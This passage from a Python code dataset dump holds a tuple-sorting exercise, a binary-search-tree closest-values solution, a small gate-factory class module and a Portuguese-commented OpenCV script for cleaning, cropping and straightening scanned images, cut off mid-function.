temp=tup[j]\r\n tup[j]=tup[j+1]\r\n tup[j+1]=temp\r\n return tup\r\n\r\n\r\nlist2=input(\"enter list of tuples like [('tom','19','80'),('jhon','20','90')]\\n\")\r\nl=[]\r\nfor tup in list2.split('),('):\r\n tup=tup.replace(')','').replace('(','')\r\n l.append(tuple(tup.split(',')))\r\n#print(l)\r\n\r\n#tup=[('tom','19','80'),('jhon','20','90'),('jony','17','91'),('jony','17','93'),('json','21','80')]\r\nprint(Sort_Tuple(l))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"assignments/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"122223504","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def closestKValues(self, root, target, k):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :type k: int\n :rtype: List[int]\n \"\"\"\n arr = []\n ci = self.traverse(root, target, arr)\n l, r = (ci - 1, ci) if ci >= 0 else (len(arr) - 1, len(arr))\n ret = []\n while (l >= 0 or r < len(arr)) and k > 0:\n if l < 0:\n ret.append(arr[r])\n r += 1\n elif r >= len(arr):\n ret.append(arr[l])\n l -= 1\n elif arr[r] - target <= target - arr[l]:\n ret.append(arr[r])\n r += 1\n else:\n ret.append(arr[l])\n l -= 1\n k -= 1\n return ret\n\n def traverse(self, node, target, arr):\n if not node:\n return -1\n ret = self.traverse(node.left, target, arr)\n if ret == -1 and node.val >= target:\n ret = len(arr)\n arr.append(node.val)\n rr = self.traverse(node.right, target, arr)\n return ret if ret != -1 else rr\n","sub_path":"src/closest-binary-search-tree-value-ii.py","file_name":"closest-binary-search-tree-value-ii.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"64564128","text":"class GateFactoryError(Exception):\n\n def __init__(self, kwargs, binding):\n msg = 'GateFactory permits %r; was given with %r' % (binding, kwargs)\n super(GateFactoryError, self).__init__(msg)\n\n\nclass BaseGate:\n binding = tuple()\n signal_types = set()\n\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n def _bound_keys(self):\n return {k for k in self.__dict__ if k in self.__class__.binding}\n\n def _bound_set(self):\n return {(k, v) for (k, v) in self.__dict__.items() if k in\n self._bound_keys()}\n\n def __call__(self, other):\n if (self.__class__.signal_types and type(other) not in\n self.__class__.signal_types):\n return False\n our_values = self._bound_set()\n other_values = {(k, v) for (k, v) in other.__dict__.items() if k in\n self._bound_keys()}\n return our_values.issubset(other_values)\n\n def __repr__(self):\n bound = {(k, v) for (k, v) in self.__dict__.items() if k in\n self.__class__.binding}\n unbound = {(k, v) for (k, v) in self.__dict__.items() if k not in\n self.__class__.binding}\n msg = \"%r (Bound: %r, Unbound: %r)\" % (self.__class__.__name__, bound,\n unbound)\n return msg\n\n\nclass GateFactory:\n\n def __init__(self, *args):\n signal_types = set()\n binding = set()\n for signalfactory in args:\n signal_types.add(signalfactory.cls)\n binding.update(signalfactory.binding)\n self.binding = tuple(sorted(binding))\n self.signal_types = signal_types\n\n class Gate(BaseGate):\n binding = self.binding\n signal_types = self.signal_types\n\n self.cls = Gate\n\n def __call__(self, **kwargs):\n if not set(kwargs).issubset(self.binding):\n raise GateFactoryError(kwargs, self.binding)\n return self.cls(**kwargs)\n\n def __repr__(self):\n msg = \"%r (%r): %r\" % (self.__class__.__name__, self.signal_types,\n self.binding)\n return msg\n\n\nclass Dummy:\n binding = tuple()\n\n def __init__(self):\n class SubDummy:\n pass\n self.cls = SubDummy\n\n\nfactory = GateFactory(Dummy(), Dummy(), Dummy())\n\nprint (factory)","sub_path":"gates.py","file_name":"gates.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"441114658","text":"'''\n - roteiro seguido: https://www.pucsp.br/~jarakaki/pai/Roteiro4.pdf\n - link rotacao: https://www.pyimagesearch.com/2017/01/02/rotate-images-correctly-with-opencv-and-python/\n - python -m pip install --upgrade pip \n - python -m pip install --user numpy scipy matplotlib ipython jupyter pandas sympy nose\n - pip install opencv-python\n - separei em funcoes, pq acho que assim da pra entender melhor oq cada coisa faz\n e nao ter que ficar memorisando funcao da biblioteca\n\n'''\nimport os\nfrom os import system\nimport subprocess\n\nsystem(\"cls\")\n\nimport cv2\nimport numpy as np\nimport math\n\nimport tkinter as tk\nfrom tkinter import messagebox\n\nfrom datetime import datetime\n\nPATH_BASE = \"./bases/01 - completo/\"\nPATH_DEF = \"./defeitos/01 - completo/\"\nN_IMAGENS_BASE = 1\nN_IMAGENS_DEF = 3\nINDEX_BASE = 0\nINDEX_DEF = 1\nRESIZE = 30\n# RESIZE = 100\nBLUE = [255, 0 , 0 ]\nGREEN = [150, 255, 150]\nRED = [ 0 , 0 , 255]\nBLACK = [ 0 , 0 , 0 ]\nPINK = [219, 203, 255]\nWHITE = [255, 255, 255]\nYELLOW = [ 0 , 215, 255]\n\nPRINT_RESULT = False\nPRINT_COUNT = 1\n\nPATH = \"Resultado-%02d-%02d-%04d-%02d%02d%02d\" % (datetime.now().day, datetime.now().month, datetime.now().year, datetime.now().hour, datetime.now().minute, datetime.now().second)\n\nclass Ponto:\n \"\"\"\n @class - Representa um ponto no plano cartesiano\n \"\"\"\n def __init__(self, x:int, y:int):\n self.x = x\n self.y = y\n def to_string(self):\n \"\"\"\n Imprime os valores do ponto\n \"\"\"\n return(\"x: %i, y: %i\" %(self.x, self.y))\n\ndef print_result(img, name:str=\"Print\", extension:str=\"png\", path:str=\"Print/\")->None:\n \"\"\"\n Salva uma imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para ser salva.\\n\n @param name : str\\n\n \\tNome do arquivo.\\n\n @param extension : str\\n\n \\tExtensao do arquivo.\\n\n @param path : str\\n\n \\tEndereco do diretorio em que o arquivo deve ser salvo.\\n\n \"\"\"\n global PRINT_COUNT\n cv2.imwrite(\"%s%s-%s.%s\" %(path, name, PRINT_COUNT, extension), img)\n PRINT_COUNT += 1\n\ndef get_angulo( p1:Ponto, p2:Ponto)->float:\n \"\"\"\n Calcula o angulo entre dois pontos.\\n\n @param p1: Ponto\\n\n \\tPonto 1\\n\n @param p2: Ponto\\n\n \\tPonto 2\\n\n \"\"\"\n if p2.x-p1.x == 0: return 0\n return math.degrees(math.atan((p2.y-p1.y)/(p2.x-p1.x)))\n\ndef rotate_bound(image, angle:float)->int:\n \"\"\"\n Rotaciona uma imagem sem perda de conteudo.\\n\n @param image: cv2 image\\n\n \\tA imagem a ser rotacionada.\\n\n @param angle: float\\n\n \\tO angulo em graus que a imagem devera ser rotacionada.\n\n \n \"\"\"\n\n # grab the dimensions of the image and then determine the\n # center\n (h, w) = image.shape[:2]\n (cX, cY) = (w // 2, h // 2)\n # grab the rotation matrix (applying the negative of the\n # angle to rotate clockwise), then grab the sine and cosine\n # (i.e., the rotation components of the matrix)\n M = cv2.getRotationMatrix2D((cX, cY), -angle, 1.0)\n cos = np.abs(M[0, 0])\n sin = np.abs(M[0, 1])\n # compute the new bounding dimensions of the image\n nW = int((h * sin) + (w * cos))\n nH = int((h * cos) + (w * sin))\n # adjust the rotation matrix to take into account translation\n M[0, 2] += (nW / 2) - cX\n M[1, 2] += (nH / 2) - cY\n # perform the actual rotation and return the image\n return cv2.warpAffine(image, M, (nW, nH))\n\ndef get_moda(vet:list)->float:\n \"\"\"\n Calcula a moda de uma vetor\\n\n @param vet:list\\n\n \\tVetor para ser retirado a moda.\\n\n \"\"\"\n vet.sort()\n print(vet)\n vet_len = len(vet)\n if vet_len == 0: return 0\n if vet_len%2 == 0:\n vet_len = int(vet_len/2)\n return (vet[vet_len] + vet[vet_len-1])/2\n else:\n return vet[int(vet_len/2)]\n\ndef get_empty_img(height:int=400, width:int=400, grayscale:bool=False)->int:\n \"\"\"\n Cria uma imagem vazia\\n\n @param height : int\\n\n \\tA altura da imagem.\\n\n @param width : int\\n\n \\tA largura da imagem.\\n\n @param grayscale: bool\\n\n \\tSe verdadeiro a imagem retornada sera em escala de cinza\n \"\"\"\n if grayscale: return np.zeros((height, width, 1), np.uint8)\n else: return np.zeros((height, width, 3), np.uint8)\n\ndef copia_colorida(img)->int:\n \"\"\"\n Copia uma imagem e converte para colorida.\\n\n @param img: cv2 image.\\n\n \\tImagem para ser copiada e convertida\\n\n \"\"\"\n try:\n return cv2.cvtColor(img.copy(), cv2.COLOR_GRAY2RGB)\n except:\n return img.copy()\n\ndef copia_escala_cinza(img)->int:\n \"\"\"\n Copia uma imagem e converte para escala de cinza.\\n\n @param img: cv2 image.\\n\n \\tImagem para ser copiada e convertida\\n\n \"\"\"\n try:\n return cv2.cvtColor(img.copy(), cv2.COLOR_BGR2GRAY)\n except:\n return img.copy()\n\ndef carrega_img_base(dir_name:str)->list:\n \"\"\"\n |Carrega imagen base para a memoria.\\n\n |@param dir_name : str\\n\n | \\tO nome do dirertorio onde estao as imagens.\\n\n \"\"\"\n path, dirs, files = next(os.walk(\"./bases/\" + dir_name))\n \n imagens = []\n for file_name in files:\n imagens.append(cv2.imread(path + file_name, cv2.IMREAD_GRAYSCALE))\n return imagens\n\ndef carrega_img_def(dir_name:str)->list:\n \"\"\"\n Carrega imagen de defeito para a memoria.\\n\n @param dir_name : str\\n\n \\tO nome do dirertorio onde estao as imagens.\\n\n \"\"\"\n path, dirs, files = next(os.walk(\"./defeitos/\" + dir_name))\n imagens = []\n for file_name in files:\n imagens.append(cv2.imread(path + file_name, cv2.IMREAD_GRAYSCALE))\n return imagens\n\ndef zoom_img(img, ponto:Ponto, precision:int = 50)->int:\n \"\"\"\n Da um zoom em determinado ponto da imagem.\\n\n @param img: cv2 img\\n\n \\tA imagem base para ser dado o zoom\\n\n @param ponto: Ponto\\n\n \\tPonto onde sera dado o zoom\n @param precision: int\\n\n \\tA quantidade de pixels na imagem gerada\\n\n \"\"\"\n zoom = get_empty_img(precision*2, precision*2)\n h, w = img.shape[:2]\n \n py, px = ponto.y, ponto.x\n\n py -= precision\n px -= precision\n\n for y in range(precision*2):\n for x in range(precision * 2):\n if py + y < 0: continue\n if py + y >= h: continue\n if px + x < 0: continue\n if px + x >= w: continue\n zoom[y][x] = img[py + y][px + x]\n\n return zoom\n\ndef show_img(img, name:str='image', delay:int = 0, height:int=640, width:int=1024)->None:\n \"\"\"\n Exibe uma imagem em tela.\\n\n @param img: cv2 img\\n\n \\tImagem a ser exibida na tela.\\n\n @param name: str\\n\n \\tTitulo da imagem.\\n\n @param delay: int\\n\n \\tTempo que a imagem sera exibida na tela em milissegundos.\\n\n \\tSe o valor for '0' aguardara que o usuario pressione uma tecla.\\n\n @param height: int\\n\n \\tAltura da imagem.\\n\n @param width: int\\n\n \\tLargura da imagem.\\n\n \"\"\"\n result = img\n \n cv2.imshow(name, cv2.resize(result, (width, height), interpolation= cv2.INTER_AREA))\n if delay == 0: print(\"============================\\n\\tpress enter\\n============================\\n\")\n cv2.waitKey(delay)\n\ndef contorna_pontos(img, pontos:list, distancia:int = 2, expessura:int = 2, color:int=RED)->int:\n \"\"\"\n Contorna pontos na imagem.\\n\n @param img: cv2 image\\n\n \\tImagem em que o pontos serao contornados.\\n\n @param pontos: Ponto[]\\n\n \\tPontos a serem circulados na imagem.\\n\n @param distancia: int\\n\n \\tDistancia do contorno ao ponto central em pixels.\\n\n @param expessura: int\\n\n \\tExpessura do contorno em pixels.\\n\n @param color: int[3] | int[4].\\n\n \\tCor do contorno\\n\n \"\"\"\n\n \n height, width = img.shape[:2]\n color = copia_colorida(img)\n\n for ponto in pontos:\n x1 = ponto.x - distancia\n x2 = ponto.x + distancia + 1\n y1 = ponto.y - distancia\n y2 = ponto.y + distancia + 1\n if x1 < 0: x1 = 0\n if x2 > width: x2 = width\n if y1 < 0: y1 = 0\n if y2 > height: y2 = height\n\n for n in range(expessura):\n\n for x in range(x1+n, x2-n):\n color[y1+n][x] = color\n color[y2-n][x] = color\n for y in range(y1+n, y2-n):\n color[y][x1+n] = color\n color[y][x2-n] = color\n \n\n return color\n\ndef linha_vertical(img, ponto:Ponto, show_progress:bool = False, delay:int = 0, color:list=GREEN)->int:\n \"\"\"\n Cria uma linha vertical na imagem.\\n\n @param img:\\n\n \\tImagem onde sera tracada a linha.\\n\n @param ponto:Ponto\\n\n \\tPonto base para a linha ser tracada.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro mostra a linha sendo tracada na imagem.\\n\n @param delay:int\\n\n \\tO tempo que cada imagem ficara na tela em milissegundos.\\n\n @param color:list\\n\n \\tA cor da linha.\\n\n \"\"\"\n height, width = img.shape[:2]\n img_color = copia_colorida(img)\n\n for y in range(height):\n img_color[y][ponto.x] = color\n if show_progress and y % int(height/10) == 0: show_img(img_color, \"progress\", delay)\n \n if show_progress: show_img(img_color, \"progress\", delay)\n if PRINT_RESULT:print_result(img_color)\n\n return img_color\n\ndef linha_horizontal(img, ponto:Ponto, show_progress:bool = False, delay:int = 0, color:list=YELLOW)->int:\n \"\"\"\n Cria uma linha horizontal na imagem.\\n\n @param img:\\n\n \\tImagem onde sera tracada a linha.\\n\n @param ponto:Ponto\\n\n \\tPonto base para a linha ser tracada.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro mostra a linha sendo tracada na imagem.\\n\n @param delay:int\\n\n \\tO tempo que cada imagem ficara na tela em milissegundos.\\n\n @param color:list\\n\n \\tA cor da linha.\\n\n \"\"\"\n height, width = img.shape[:2]\n img_color = copia_colorida(img)\n\n for x in range(width):\n img_color[ponto.y][x] = color\n if show_progress and x % int(width/10) == 0: show_img(img_color, \"progress\", delay)\n \n # show_img(color, \"progress\")\n\n if PRINT_RESULT:print_result(img_color)\n\n return img_color\n\ndef get_pixel_mais_acima(img)->Ponto:\n \"\"\"\n Enconta o pixel valido mais alto da imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para encontrar o ponto.\\n\n \"\"\"\n height, width = img.shape[:2]\n\n off_cima = 0\n for y in range(height):\n for x in range(width):\n if img[y][x] != 255: return Ponto(x, y)\n\ndef get_pixel_mais_abaixo(img)->Ponto:\n \"\"\"\n Enconta o pixel valido mais baixo da imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para encontrar o ponto.\\n\n \"\"\"\n height, width = img.shape[:2]\n\n off_cima = 0\n for y in range(height-1, 0, -1):\n for x in range(width):\n if img[y][x] != 255: return Ponto(x, y)\n\ndef get_pixel_mais_a_esquerda(img)->Ponto:\n \"\"\"\n Enconta o pixel valido mais a esquerda da imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para encontrar o ponto.\\n\n \"\"\"\n height, width = img.shape[:2]\n\n off_cima = 0\n for x in range(width):\n for y in range(height):\n if img[y][x] != 255: return Ponto(x, y)\n\ndef get_pixel_mais_a_direita(img)->Ponto:\n \"\"\"\n Enconta o pixel valido mais a direita da imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para encontrar o ponto.\\n\n \"\"\"\n height, width = img.shape[:2]\n\n off_cima = 0\n for x in range(width-1, 0, -1):\n for y in range(height):\n if img[y][x] != 255: return Ponto(x, y)\n\ndef remove_bordas(img, show_progress:bool = False, delay:int = 0)->int:\n \"\"\"\n Remove os espacos em branco ao redor da imagem.\\n\n @param img: cv2 img\\n\n \\tImagem para ser removido as bordas.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro mostra o processo de remocao das bordas.\\n\n @param delay:int\\n\n \\tTempo que cada imagem aparece na tela em milissegundos\\n\n \"\"\"\n height, width = img.shape[:2]\n\n off_cima = get_pixel_mais_acima(img)\n off_esquerda = get_pixel_mais_a_esquerda(img)\n \n if show_progress:\n print(off_cima.to_string())\n print(off_esquerda.to_string())\n color = contorna_pontos(img, [off_cima, off_esquerda])\n show_img(color, \"progress\", delay)\n color = linha_vertical(color, off_esquerda, show_progress, delay)\n color = linha_horizontal(color, off_cima, show_progress, delay)\n color = contorna_pontos(color, [Ponto(off_esquerda.x, off_cima.y)])\n show_img(color, \"progress\", delay)\n\n copy = get_empty_img(height, width, grayscale=True)\n copy[:][:] = 255\n\n for y in range(height):\n py = y + off_cima.y\n if py >= height: break\n if show_progress and y % int(height / 20) == 0:\n show_img(copy, \"progress\", delay)\n for x in range(width):\n px = x + off_esquerda.x\n if px >= width: break\n\n copy[y][x] = img[py][px]\n \n if show_progress: show_img(copy, \"progress\", delay)\n img = copy\n\n off_direita = get_pixel_mais_a_direita(img)\n off_baixo = get_pixel_mais_abaixo(img)\n \n if show_progress:\n color = contorna_pontos(img, [off_direita, off_baixo])\n show_img(color, \"progress\", delay)\n color = linha_vertical(color, off_direita, show_progress, delay)\n color = linha_horizontal(color, off_baixo, show_progress, delay)\n color = contorna_pontos(color, [Ponto(off_direita.x, off_baixo.y)])\n show_img(color, \"progress\", delay)\n\n\n copy = get_empty_img(off_baixo.y, off_direita.x)\n\n h, w = copy.shape[:2]\n\n for x in range(w):\n for y in range(h):\n copy[y][x] = img[y][x]\n \n if show_progress: show_img(copy, \"progress\")\n \n try:\n return cv2.cvtColor(copy, cv2.COLOR_RGB2GRAY)\n except:\n print(\"ERROR AJUSTA IMAGEM CONVERTER PARA GRAY\")\n return copy\n \ndef satura(img, show_progress:bool = False, delay:int = 0)->int:\n \"\"\"\n Ajusta as cores da imagem para especificos tons de preto cinza e branco\n tornando-os padroes. \\n\n (0, 100, 150, 255).\\n\n @param img\\n\n \\tImagem a ser saturada.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro mostra o processo de saturacao da imagem.\\n\n @param delay:int\\n\n \\tTempo em que cada imagem sera exibida na tela em milissegundos.\\n\n \"\"\"\n height, width = img.shape[:2]\n \n if show_progress: \n show_img(img, \"progress\")\n print(\"SATURANDO IMAGEM\")\n\n\n for py in range(0, height):\n \n\n if py % int(height/10) == 0 and show_progress: \n linha_horizontal(img, Ponto(0, py), show_progress, delay)\n\n for px in range(0, width):\n pixel = int(img[py][px] / 50) * 50\n if pixel >= 200: pixel = 255\n if pixel <= 50 : pixel = 0\n img[py][px] = pixel\n \n if show_progress:\n show_img(img, \"progress\", delay)\n\n r = 63\n img = np.uint8(img/r) * r\n\n if PRINT_RESULT:print_result(img)\n\n \n not_colored = []\n for py in range(0, height):\n\n if show_progress and py % int(height/10) == 0: \n linha_horizontal(img, Ponto(0, py), show_progress, delay)\n\n for px in range(0, width):\n if img[py][px] >= 200: img[py][px] = 255\n elif img[py][px] <= 50: img[py][px] = 0\n elif img[py][px] > 50 and img[py][px] <= 130: img[py][px] = 100\n elif img[py][px] > 130 and img[py][px] < 200: img[py][px] = 150\n elif img[py][px] not in not_colored: not_colored.append(img[py][px])\n\n\n if show_progress: \n print(\"IMAGEM SATURADA\")\n show_img(img, \"progress\")\n\n if PRINT_RESULT:print_result(img)\n\n return img\n \ndef verifica_relevancia_do_pixel(img, ponto:Ponto, show_progress:bool=False, delay:int=1)->bool:\n \"\"\"\n Verifica se o pixel e relevante para a composicao da imagem.\\n\n @param img\\n\n \\tImagem onde o pixem se encontra\\n\n @param pixel:Ponto\\n\n \\tCoordenada do pixel.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro exibe o pixel.\\n\n @param delay:int\\n\n \\tTempo em que cada imagem e exibida na tela\\n\n \"\"\"\n tam = 50\n height, width = img.shape[:2]\n if show_progress:\n zoom = zoom_img(img, ponto, 50)\n \n show_img(contorna_pontos(img, [ponto], delay) , 'progress', delay)\n show_img(contorna_pontos(zoom, [Ponto(int(tam/2), int(tam/2))], delay), 'zoom', delay, 300, 300)\n\n x = ponto.x\n y = ponto.y\n\n # 0 0 0\n # 0 1 0\n # 0 0 0\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255: return True\n\n # 1 0 0\n # 1 P 0\n # 1 0 0\n \n if img[y-1][x-1] != 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-1] != 255 and img[ y ][x+1] == 255 and img[y+1][x-1] != 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255: return True\n\n # 1 1 1\n # 0 P 0\n # 0 0 0\n if img[y-1][x-1] != 255 and img[y-1][ x ] != 255 and img[y-1][x+1] != 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255: return True\n\n # 0 0 1\n # 0 P 1\n # 0 0 1\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] != 255 and img[ y ][x-1] == 255 and img[ y ][x+1] != 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] != 255: return True\n\n # 0 0 0\n # 0 P 0\n # 1 1 1\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[y+1][x-1] != 255 and img[y+1][ x ] != 255 and img[y+1][x+1] != 255: return True\n\n # 0 0 0 0\n # 0 P 1 0\n # 0 0 0 0\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[y-1][x+2] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] != 255 and img[ y ][x+2] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255 and img[y+1][x+2] == 255: return True\n\n # 0 0 0 0\n # 0 P 0 0\n # 0 1 0 0\n # 0 0 0 0\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] != 255 and img[y+1][x+1] == 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 and img[y+2][x+1] == 255: return True\n \n # 0 0 0 0\n # 0 P 0 0\n # 0 0 1 0\n # 0 0 0 0\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[y-1][x+2] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[ y ][x+2] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] != 255 and img[y+1][x+2] == 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 and img[y+2][x+1] == 255 and img[y+2][x+2] == 255: return True\n\n # 0 0 0\n # 0 0 P 0\n # 0 1 0 0\n # 0 0 0 \n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-2] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[y+1][x-2] == 255 and img[y+1][x-1] != 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255 and img[y+2][x-2] == 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 : return True\n\n # 0 0 1 0\n # 0 P 1 0\n # 0 1 1 0\n # 0 0 1 0\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] != 255 and img[ y ][x-1] == 255 and img[ y ][x+1] != 255 and img[y+1][x-1] == 255 and img[y+1][ x ] != 255 and img[y+1][x+1] != 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 and img[y+2][x+1] != 255: return True\n\n \n # 1 0 0\n # 1 P 0\n # 1 1 0\n # 1 0 0\n if img[y-1][x-1] != 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[ y ][x-1] != 255 and img[ y ][x+1] == 255 and img[y+1][x-1] != 255 and img[y+1][ x ] != 255 and img[y+1][x+1] == 255 and img[y+2][x-1] != 255 and img[y+2][ x ] == 255 and img[y+2][x+1] == 255: return True\n\n # 1 1 1 1\n # 0 P 1 0\n # 0 0 0 0\n if img[y-1][x-1] != 255 and img[y-1][ x ] != 255 and img[y-1][x+1] != 255 and img[y-1][x+2] != 255 and img[ y ][x-1] == 255 and img[ y ][x+1] != 255 and img[ y ][x+2] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255 and img[y+1][x+2] == 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 and img[y+2][x+1] == 255 and img[y+2][x+2] == 255: return True\n\n # 0 0 0 0\n # 0 P 1 0\n # 1 1 1 1\n if img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[y-1][x+2] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] != 255 and img[ y ][x+2] == 255 and img[y+1][x-1] != 255 and img[y+1][ x ] != 255 and img[y+1][x+1] != 255 and img[y+1][x+2] != 255: return True\n\n # 0 0 0 0 0\n # 0 0 0 0 0\n # 0 0 P 0 0\n # 0 0 0 0 0\n # 0 0 0 0 0\n # if \n # img[y-2][x-2] == 255 and img[y-2][x-1] == 255 and img[y-2][ x ] == 255 and img[y-2][x+1] == 255 and img[y-2][x+2] == 255\n # and img[y-1][x-2] == 255 and img[y-1][x-1] == 255 and img[y-1][ x ] == 255 and img[y-1][x+1] == 255 and img[y-1][x+2] == 255\n # and img[ y ][x-2] == 255 and img[ y ][x-1] == 255 and img[ y ][x+1] == 255 and img[ y ][x+2] == 255\n # and img[y+1][x-2] == 255 and img[y+1][x-1] == 255 and img[y+1][ x ] == 255 and img[y+1][x+1] == 255 and img[y+1][x+2] == 255\n # and img[y+2][x-2] == 255 and img[y+2][x-1] == 255 and img[y+2][ x ] == 255 and img[y+2][x+1] == 255 and img[y+2][x+2] == 255: return True\n\n return False\n pass\n\ndef remove_pixel_isolado(img, show_progress:bool = False, delay:int = 0)->None:\n \"\"\"\n Remove pixels de sujeira da imagem.\\n\n @param img:cv2 img\\n\n \\tA imagem a ser limpa\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro exibe o processo.\\n\n @param delay:int\\n\n \\tTempo em que cada imagem e exibida na tela\\n\n \"\"\"\n h, w = img.shape[:2]\n\n delay_erro = delay\n show_line = False\n\n if show_progress:\n root = tk.Tk()\n S = tk.Scrollbar(root)\n T = tk.Text(root, height=4, width=50)\n S.pack( side=tk.RIGHT, fill=tk.Y)\n T.pack( side=tk.LEFT, fill=tk.Y)\n S.config( command=T.yview)\n T.config( yscrollcommand=S.set)\n quote = \"O processo de limpeza da imagem é demorado.\"\n T.insert(tk.END, quote)\n\n msg = tk.messagebox.askquestion(\"Visualizar\", \"Visualizar processo?\", icon=\"warning\")\n if msg == 'yes': \n msg2 = tk.messagebox.askquestion(\"Visualizar\", \"Pausar em cada erro encontrado??\", icon=\"warning\")\n if msg2 == 'yes':\n delay_erro = 0\n else:\n delay_erro = 1\n root.destroy()\n else:\n show_progress = False\n show_line = True\n root.destroy()\n \n root.mainloop()\n\n for x in range(1, w -1):\n \n if show_line and x % int(w/20) == 0: linha_vertical(img, Ponto(x,0), False, 3)\n \n for y in range(1, h -1):\n try:\n if img[y-1][x] == 255 and img[y][x] != 255 and img[y+1][x] == 255:\n if verifica_relevancia_do_pixel(img, Ponto(x, y), show_progress, delay):\n img[y][x] = 255\n if show_progress: show_img(contorna_pontos(img, [Ponto(x, y)]), \"progress\", delay_erro)\n except:\n pass\n try: \n if img[y][x-1] == 255 and img[y][x] != 255 and img[y][x+1] == 255:\n if verifica_relevancia_do_pixel(img, Ponto(x, y), show_progress, delay):\n img[y][x] = 255\n if show_progress: show_img(contorna_pontos(img, [Ponto(x, y)]), \"progress\", delay_erro)\n except:\n pass\n try:\n if img[y-1][x] == 255 and img[y][x] != 255 and img[y+1][x] != 255 and img[y+2][x] == 255:\n if verifica_relevancia_do_pixel(img, Ponto(x, y), show_progress, delay):\n img[y][x] = 255\n if show_progress: show_img(contorna_pontos(img, [Ponto(x, y)]), \"progress\", delay_erro)\n except:\n pass\n try:\n if img[y][x-1] == 255 and img[y][x] != 255 and img[y][x+1] != 255 and img[y][x+2] == 255:\n if verifica_relevancia_do_pixel(img, Ponto(x, y), show_progress, delay):\n img[y][x] = 255\n if show_progress: show_img(contorna_pontos(img, [Ponto(x, y)]), \"progress\", delay_erro)\n except:\n pass\n \ndef ajusta_angulo(img, show_progress:bool = False, delay:int = 0)->int:\n \n \"\"\"\n Rotaciona a imagem se ela estiver angulada para um dos lados.\\n\n @param img: cv2 img\\n\n \\tImagem a ser angulada\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro exibe o processo.\\n\n @param delay:int\\n\n \\tTempo em que cada imagem e exibida na tela\\n\n \"\"\"\n\n h, w = img.shape[:2]\n \n pontos = []\n\n ponto_mais_alto = get_pixel_mais_acima(img)\n \n if w < 300:\n for x in range(ponto_mais_alto.x, w, 50):\n for y in range(50):\n if img[y][x] != 255:\n pontos.append(Ponto(x,y))\n break\n else:\n for x in range(0, w, int(w/30)):\n for y in range(50):\n if img[y][x] != 255:\n pontos.append(Ponto(x,y))\n break\n \n contorna_pontos(img, pontos)\n angulos = []\n \n for i in range( len(pontos)):\n angulo = -get_angulo(ponto_mais_alto, pontos[i])\n # print(angulo)\n if angulo > 3 or angulo < -3: continue\n angulos.append(angulo)\n \n copy = get_empty_img(h+100, w+100, True)\n copy[:][:] = 255\n \n for y in range(h):\n for x in range(w):\n copy[y+50][x+50] = img[y][x]\n\n angulo = get_moda(angulos)\n # print(angulo)\n \n if angulo > 2 and angulo < 3 or angulo > -3 and angulo < -2:\n angulo = angulo/2\n else:\n return img\n \n copy = rotate_bound(copy, 